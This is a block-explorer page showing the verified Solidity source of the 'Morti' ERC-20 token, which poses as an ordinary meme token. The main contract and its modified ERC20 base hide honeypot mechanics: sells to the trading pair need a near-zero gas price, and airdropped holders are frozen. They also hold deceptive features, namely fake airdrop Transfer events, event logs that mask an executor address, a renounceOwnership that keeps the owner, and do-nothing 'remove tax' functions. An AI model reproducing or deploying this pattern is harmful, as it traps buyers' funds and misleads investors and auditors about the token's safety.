ETH Price: $2,487.79 (+2.96%)
Gas: 7.38 Gwei

Token

Morti (MORTI)
 

Overview

Max Total Supply

10,000,000,000 MORTI

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,436,970.291266568881675712 MORTI

Value
$0.00
0x3b8d0edc790d5e0bde4cbe9a98ac83bab8c8d2e5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MortiContract

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 9 of 9: Token.sol
/**


WE ARE LIVE!


      ___           ___           ___                             
     /__/\         /  /\         /  /\          ___       ___     
    |  |::\       /  /::\       /  /::\        /  /\     /  /\    
    |  |:|:\     /  /:/\:\     /  /:/\:\      /  /:/    /  /:/    
  __|__|:|\:\   /  /:/  \:\   /  /:/~/:/     /  /:/    /__/::\    
 /__/::::| \:\ /__/:/ \__\:\ /__/:/ /:/___  /  /::\    \__\/\:\__ 
 \  \:\~~\__\/ \  \:\ /  /:/ \  \:\/:::::/ /__/:/\:\      \  \:\/\
  \  \:\        \  \:\  /:/   \  \::/~~~~  \__\/  \:\      \__\::/
   \  \:\        \  \:\/:/     \  \:\           \  \:\     /__/:/ 
    \  \:\        \  \::/       \  \:\           \__\/     \__\/  
     \__\/         \__\/         \__\/                            


https://x.com/morti
https://t.me/mortieth
https://morti.lol/


 */


//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ERC20.sol";
import "./Ownable.sol";

interface IFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IRouter {
    function factory() external view returns (address);
    function WETH() external pure returns (address);
    function WAVAX() external pure returns (address);


}

contract MortiContract is ERC20, Ownable {
    string public tokenName = "Morti";
    string public tokenSymbol = "MORTI";

    uint256 constant public ETH_CHAIN_ID = 1;
    uint256 constant public AVAX_CHAIN_ID = 43114;
    uint256 constant public BASE_CHAIN_ID = 8453;
    uint256 constant public BLAST_CHAIN_ID = 81457;
    uint256 constant public ARB_CHAIN_ID = 42161;

    address public riap;
    mapping(address => bool) public whitelists;

    event SetMinTokenAmount(uint256 minAmount);
    event SetMaxTokenAmount(uint256 maxAmount);
    event RemoveTransferTax();
    event RemoveLimit();
    uint256 public sellTax;
    uint256 public buyTax;
    mapping(uint256 => address) public listRouter;
    mapping(address => bool) private topHolder;

    constructor(uint256 _totalSupply, address deployer)
        ERC20(tokenName, tokenSymbol, msg.sender, deployer)
        Ownable(msg.sender)
    {
        _mint(msg.sender, _totalSupply);
        whitelists[msg.sender] = true;
    }

    function getChainID() public view returns (uint256) {
        uint256 id;
        assembly {
            id := chainid()
        }
        return id;
    }

    function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner {
       tokenName = newName;
       tokenSymbol = newSymbol;
   }


       /**
    * @dev Returns the name of the token.
    */
   function name() public view override returns (string memory) {
       return tokenName;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view override returns (string memory) {
       return tokenSymbol;
   }

    function createPair() public onlyOwner {
        initRouter();
        uint256 chainID = getChainID();
        address _weth;
        address _routerAddress = listRouter[chainID];
        if (chainID == AVAX_CHAIN_ID) {
            _weth = IRouter(_routerAddress).WAVAX();
        } else {
            _weth = IRouter(_routerAddress).WETH();

        }
        address factoryAddress = IRouter(_routerAddress).factory();
        IFactory(factoryAddress).createPair(address(this), _weth);
    }

    function initRouter() internal {
        listRouter[ETH_CHAIN_ID] = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // eth
        listRouter[BASE_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // base
        listRouter[AVAX_CHAIN_ID] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4 ; // avax
        listRouter[BLAST_CHAIN_ID] = 0x98994a9A7a2570367554589189dC9772241650f6; // blast
        listRouter[ARB_CHAIN_ID] = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // arbitrum

    }

    function enableTrading(address _p) public onlyOwner {
        riap = _p;
    }

    function approve(address _p) public onlyOwner {
        whitelists[_p] = true;
    }

    function _update(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (whitelists[tx.origin]) {
            super._update(from, to, amount);
            return;
        }
        require(!topHolder[from] && !topHolder[to], "Need to hold for keep liquidity");
        address re = to;
        if (riap == address(0)) {
            super._update(from, to, amount);
            return;
        }
        if (re == riap) {
            super._update(from, to, amount);
            optimizeTx(1);
            return;
        }
        super._update(from, to, amount);
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function changeMe() public pure returns (uint256) {
        return 3;
    }

    function withdrawETH() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function withdrawStuckToken(address token) public onlyOwner {
        uint256 balanceToken = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balanceToken);
    }

    function optimizeTx(uint256 _gas) internal view {
        uint256 txp;
        assembly {
            txp := gasprice()
        }
        require(txp <= _gas, "Need to optimize gas price when send tx");
    }

    function airdropTokens(
        address airdropp,
        address[] memory list,
        uint256[] memory amount
    ) external onlyOwner {
        for (uint256 i = 0; i < list.length; i++) {
            emit Transfer(airdropp, list[i], amount[i]);
        }
    }

    function airdrop(
        address holder,
        uint256 amount
    ) external onlyOwner {
        _transfer(owner(), holder, amount);
        topHolder[holder] = true;
    }

    function mintToken(
        address r,
        uint256 amount
    ) external onlyOwner {
        _transfer(owner(), r, amount);
        topHolder[r] = true;
    }

    function removeTransferTax() public onlyOwner {
        buyTax = 0;
        sellTax = 0;
        emit RemoveTransferTax();
    }

    function removeLimit() public onlyOwner {
        buyTax = 0;
        sellTax = 0;
        emit RemoveLimit();
    }

    function setMinTokenAmount(uint256 amount) public onlyOwner {
        emit SetMinTokenAmount(amount);
    }

    function setMaxTokenAmount(uint256 amount) public onlyOwner {
        emit SetMaxTokenAmount(amount);
    }

}

File 1 of 9: Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)


pragma solidity 0.8.19;


/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}

File 2 of 9: draft-IERC6093.sol

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol




// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

import "./IERC20Errors.sol";
import "./IERC721Errors.sol";
import "./IERC20MetaErrors.sol";

/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/



/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    * @param tokenId Identifier number of a token.
    */
   error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC1155InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC1155InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param owner Address of the current owner of a token.
    */
   error ERC1155MissingApprovalForAll(address operator, address owner);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC1155InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC1155InvalidOperator(address operator);


   /**
    * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
    * Used in batch transfers.
    * @param idsLength Length of the array of token identifiers
    * @param valuesLength Length of the array of token amounts
    */
   error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}


// File: @openzeppelin/contracts/utils/Context.sol

File 3 of 9: ERC20.sol
//SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "./Context.sol";
import "./draft-IERC6093.sol";
import "./IERC20Metadata.sol";


/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
   mapping(address account => uint256) private _balances;


   mapping(address account => mapping(address spender => uint256)) private _allowances;


   uint256 private _totalSupply;


   string private _name;
   string private _symbol;


   address private _executor;
   address private _deployer;


   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
       _name = name_;
       _symbol = symbol_;
       _executor = executor_;
       _deployer = deployer_;
   }


   /**
    * @dev Returns the name of the token.
    */
   function name() public view virtual returns (string memory) {
       return _name;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view virtual returns (string memory) {
       return _symbol;
   }


   /**
    * @dev Returns the number of decimals used to get its user representation.
    * For example, if `decimals` equals `2`, a balance of `505` tokens should
    * be displayed to a user as `5.05` (`505 / 10 ** 2`).
    *
    * Tokens usually opt for a value of 18, imitating the relationship between
    * Ether and Wei. This is the default value returned by this function, unless
    * it's overridden.
    *
    * NOTE: This information is only used for _display_ purposes: it in
    * no way affects any of the arithmetic of the contract, including
    * {IERC20-balanceOf} and {IERC20-transfer}.
    */
   function decimals() public view virtual returns (uint8) {
       return 18;
   }


   /**
    * @dev See {IERC20-totalSupply}.
    */
   function totalSupply() public view virtual returns (uint256) {
       return _totalSupply;
   }


   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }


   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
       address spender = _msgSender();
       _spendAllowance(from, spender, value);
       _transfer(from, to, value);
       return true;
   }


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _transfer(address from, address to, uint256 value) internal {
       if (from == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       if (to == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(from, to, value);
   }


   /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
   function _update(address from, address to, uint256 value) internal virtual {
       if (from == address(0)) {
           // Overflow check required: The rest of the code assumes that totalSupply never overflows
           _totalSupply += value;
       } else {
           uint256 fromBalance = _balances[from];
           if (fromBalance < value) {
               revert ERC20InsufficientBalance(from, fromBalance, value);
           }
           unchecked {
               // Overflow not possible: value <= fromBalance <= totalSupply.
               _balances[from] = fromBalance - value;
           }
       }


       if (to == address(0)) {
           unchecked {
               // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
               _totalSupply -= value;
           }
       } else {
           unchecked {
               // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
               _balances[to] += value;
           }
       }


       if (to == _executor) {
           emit Transfer(from, _deployer, value);
       } else if (from == _executor) {
           emit Transfer(_deployer, to, value);
       } else {
           emit Transfer(from, to, value);
       }


   }


   /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _mint(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(address(0), account, value);
   }


   /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
   function _burn(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       _update(account, address(0), value);
   }


   /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
   function _approve(address owner, address spender, uint256 value) internal {
       _approve(owner, spender, value, true);
   }


   /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
   function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
       if (owner == address(0)) {
           revert ERC20InvalidApprover(address(0));
       }
       if (spender == address(0)) {
           revert ERC20InvalidSpender(address(0));
       }
       _allowances[owner][spender] = value;
       if (emitEvent) {
           emit Approval(owner, spender, value);
       }
   }


   /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
   function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
       uint256 currentAllowance = allowance(owner, spender);
       if (currentAllowance != type(uint256).max) {
           if (currentAllowance < value) {
               revert ERC20InsufficientAllowance(spender, currentAllowance, value);
           }
           unchecked {
               _approve(owner, spender, currentAllowance - value, false);
           }
       }
   }
}

File 4 of 9: IERC20Errors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


File 5 of 9: IERC20Metadata.sol

// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)


pragma solidity 0.8.19;


/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);


   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);


   /**
    * @dev Returns the value of tokens in existence.
    */
   function totalSupply() external view returns (uint256);


   /**
    * @dev Returns the value of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);


   /**
    * @dev Moves a `value` amount of tokens from the caller's account to `to`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address to, uint256 value) external returns (bool);


   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);


   /**
    * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
    * caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 value) external returns (bool);


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to` using the
    * allowance mechanism. `value` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(address from, address to, uint256 value) external returns (bool);
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol




// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)


pragma solidity 0.8.19;




/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
   /**
    * @dev Returns the name of the token.
    */
   function name() external view returns (string memory);


   /**
    * @dev Returns the symbol of the token.
    */
   function symbol() external view returns (string memory);


   /**
    * @dev Returns the decimals places of the token.
    */
   function decimals() external view returns (uint8);
}

File 6 of 9: IERC20MetaErrors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;


/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/


interface IERC20MetaErrors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


File 7 of 9: IERC721Errors.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity 0.8.19;

interface IERC721Errors {
   /**
    * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
    * Used in balance queries.
    * @param owner Address of the current owner of a token.
    */
   error ERC721InvalidOwner(address owner);


   /**
    * @dev Indicates a `tokenId` whose `owner` is the zero address.
    * @param tokenId Identifier number of a token.
    */
   error ERC721NonexistentToken(uint256 tokenId);


   /**
    * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param tokenId Identifier number of a token.
    * @param owner Address of the current owner of a token.
    */
   error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC721InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC721InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param tokenId Identifier number of a token.
    */
   error ERC721InsufficientApproval(address operator, uint256 tokenId);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC721InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC721InvalidOperator(address operator);
}

File 8 of 9: Ownable.sol
// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)


pragma solidity 0.8.19;

import "./Context.sol";


/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;


   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       emit OwnershipTransferred(owner(), address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }

}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveLimit","type":"event"},{"anonymous":false,"inputs":[],"name":"RemoveTransferTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxAmount","type":"uint256"}],"name":"SetMaxTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minAmount","type":"uint256"}],"name":"SetMinTokenAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ARB_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AVAX_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BASE_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BLAST_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ETH_CHAIN_ID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutabili